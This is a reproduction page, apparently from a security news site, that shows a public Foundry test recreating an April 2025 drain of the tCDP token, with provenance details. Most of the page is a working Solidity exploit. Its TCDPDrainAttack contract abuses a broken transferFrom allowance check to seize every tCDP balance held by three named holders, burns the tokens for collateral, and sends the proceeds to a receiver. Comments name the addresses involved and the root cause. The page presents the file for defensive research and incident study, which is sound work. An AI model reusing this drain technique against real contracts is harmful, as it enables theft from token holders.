Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/tcdp_exp.sol

Public reproduction file for dataset entry tcdp.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/tcdp_exp.sol147 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2.02 ETH
8// Attacker : 0xd49Cb0924F871bCFd78EA4187d9E6Bd943f85D98
9// Attack Contract : 0xC3D478F039125c536bC3c3eFBaEac7c1a15BcB1B
10// Vulnerable Contract : 0xdA4c9Ee8373fd1095379a3Dd457A0c78968AaF03
11// Attack Tx : https://etherscan.io/tx/0x9879031462b16dbf063377c4a8e5b043662576a9a3fb282c5a656953ad00684e
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xdA4c9Ee8373fd1095379a3Dd457A0c78968AaF03#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/932
18//
19// Attack summary: The attacker self-approved tCDP, used a broken transferFrom allowance check to pull
20// all outstanding tCDP from three unrelated holders, then burned the stolen tCDP to redeem Compound ETH
21// collateral.
22// Root cause: transferFrom subtracts from _allowed[msg.sender][to] after transferring from the supplied
23// from address, instead of checking _allowed[from][msg.sender].
25address constant ATTACKER = 0xd49cB0924F871BcFD78eA4187D9e6bd943F85D98;
26address constant ROOT_ATTACK_CONTRACT = 0xc3D478F039125c536BC3c3efbAEAc7C1A15bcb1b;
27address constant TCDP_TOKEN = 0xda4C9Ee8373Fd1095379a3Dd457A0c78968aAF03;
28address constant HOLDER_ONE = 0x5380E20f0bEc4DCf8090Fb2dA0FdC4FE7a6bc023;
29address constant HOLDER_TWO = 0x1D075f1F543bB09Df4530F44ed21CA50303A65B2;
30address constant HOLDER_THREE = 0x27f735fEdC57fc1682104d40455d14FB93B21B0c;
31address constant DAI_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
32address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
35interface ITCDP {
36 function approve(
37 address spender,
38 uint256 value
39 ) external returns (bool);
40 function transferFrom(
41 address from,
42 address to,
43 uint256 value
44 ) external returns (bool);
45 function balanceOf(
46 address owner
47 ) external view returns (uint256);
48 function totalSupply() external view returns (uint256);
49 function burn(
50 uint256 amount
51 ) external;
52 function isCompound() external view returns (bool);
55contract ContractTest is BaseTestWithBalanceLog {
56 receive() external payable {}
58 function setUp() public {
59 vm.createSelectFork("mainnet", 22_364_243);
61 fundingToken = address(0);
62 attacker = address(this);
64 vm.label(ATTACKER, "Attacker EOA");
65 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");
66 vm.label(TCDP_TOKEN, "tCDP");
67 vm.label(HOLDER_ONE, "tCDP Holder One");
68 vm.label(HOLDER_TWO, "tCDP Holder Two");
69 vm.label(HOLDER_THREE, "tCDP Holder Three");
70 vm.label(DAI_TOKEN, "DAI");
71 vm.label(WETH_TOKEN, "WETH");
72 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
73 }
75 function testExploit() public balanceLog {
76 ITCDP tcdp = ITCDP(TCDP_TOKEN);
78 assertTrue(tcdp.isCompound());
79 assertEq(tcdp.totalSupply(), 2_112_941_787_257_735_085);
80 assertEq(tcdp.balanceOf(HOLDER_ONE), 2_101_941_787_257_735_085);
81 assertEq(tcdp.balanceOf(HOLDER_TWO), 10_000_000_000_000_000);
82 assertEq(tcdp.balanceOf(HOLDER_THREE), 1_000_000_000_000_000);
84 vm.deal(address(this), 0.1 ether);
85 TCDPDrainAttack attack = new TCDPDrainAttack{value: 0.1 ether}(payable(address(this)));
86 attack.run();
88 assertEq(tcdp.balanceOf(HOLDER_ONE), 0);
89 assertEq(tcdp.balanceOf(HOLDER_TWO), 0);
90 assertEq(tcdp.balanceOf(HOLDER_THREE), 0);
91 assertGt(address(this).balance, 2.0 ether);
92 }
95contract TCDPDrainAttack {
96 address payable private immutable profitReceiver;
98 receive() external payable {}
100 constructor(
101 address payable _profitReceiver
102 ) payable {
103 profitReceiver = _profitReceiver;
104 }
106 function run() external {
107 address[] memory buyPath = new address[](2);
108 buyPath[0] = WETH_TOKEN;
109 buyPath[1] = DAI_TOKEN;
111 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))
112 .swapExactETHForTokensSupportingFeeOnTransferTokens{value: address(this).balance}(
113 0, buyPath, address(this), block.timestamp
114 );
116 IERC20(DAI_TOKEN).approve(TCDP_TOKEN, type(uint256).max);
117 ITCDP(TCDP_TOKEN).approve(address(this), type(uint256).max);
119 _stealHolderBalance(HOLDER_ONE);
120 _stealHolderBalance(HOLDER_TWO);
121 _stealHolderBalance(HOLDER_THREE);
123 uint256 stolenTcdp = ITCDP(TCDP_TOKEN).balanceOf(address(this));
124 ITCDP(TCDP_TOKEN).burn(stolenTcdp);
126 uint256 daiRemainder = IERC20(DAI_TOKEN).balanceOf(address(this));
127 IERC20(DAI_TOKEN).approve(UNISWAP_V2_ROUTER, daiRemainder);
129 address[] memory sellPath = new address[](2);
130 sellPath[0] = DAI_TOKEN;
131 sellPath[1] = WETH_TOKEN;
132 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))
133 .swapExactTokensForETHSupportingFeeOnTransferTokens(
134 daiRemainder, 0, sellPath, profitReceiver, block.timestamp
135 );
137 (bool ok,) = profitReceiver.call{value: address(this).balance}("");
138 require(ok, "profit transfer failed");
139 }
141 function _stealHolderBalance(
142 address holder
143 ) private {
144 uint256 holderBalance = ITCDP(TCDP_TOKEN).balanceOf(holder);
145 ITCDP(TCDP_TOKEN).transferFrom(holder, address(this), holderBalance);
146 }

Analysis

Dataset entry

Public Foundry test for “tcdp” (2025-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd49cb0924f871bcfd78ea4187d9e6bd943f85d98

  • Attack Contract

    0xc3d478f039125c536bc3c3efbaeac7c1a15bcb1b

  • Vulnerable Contract

    0xda4c9ee8373fd1095379a3dd457a0c78968aaf03

  • Attack Tx

    0x9879031462b16dbf063377c4a8e5b043662576a9a3fb282c5a656953ad00684e

File record

Name
tcdp
Path
src/test/2025-04/tcdp_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bd98f332265b53bacc950ba725e54b8b3ef11b81
Language
Solidity
Size
148 lines
Date
2025-04-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/tcdp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd98f332265b53bacc950ba725e54b8b3ef11b81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.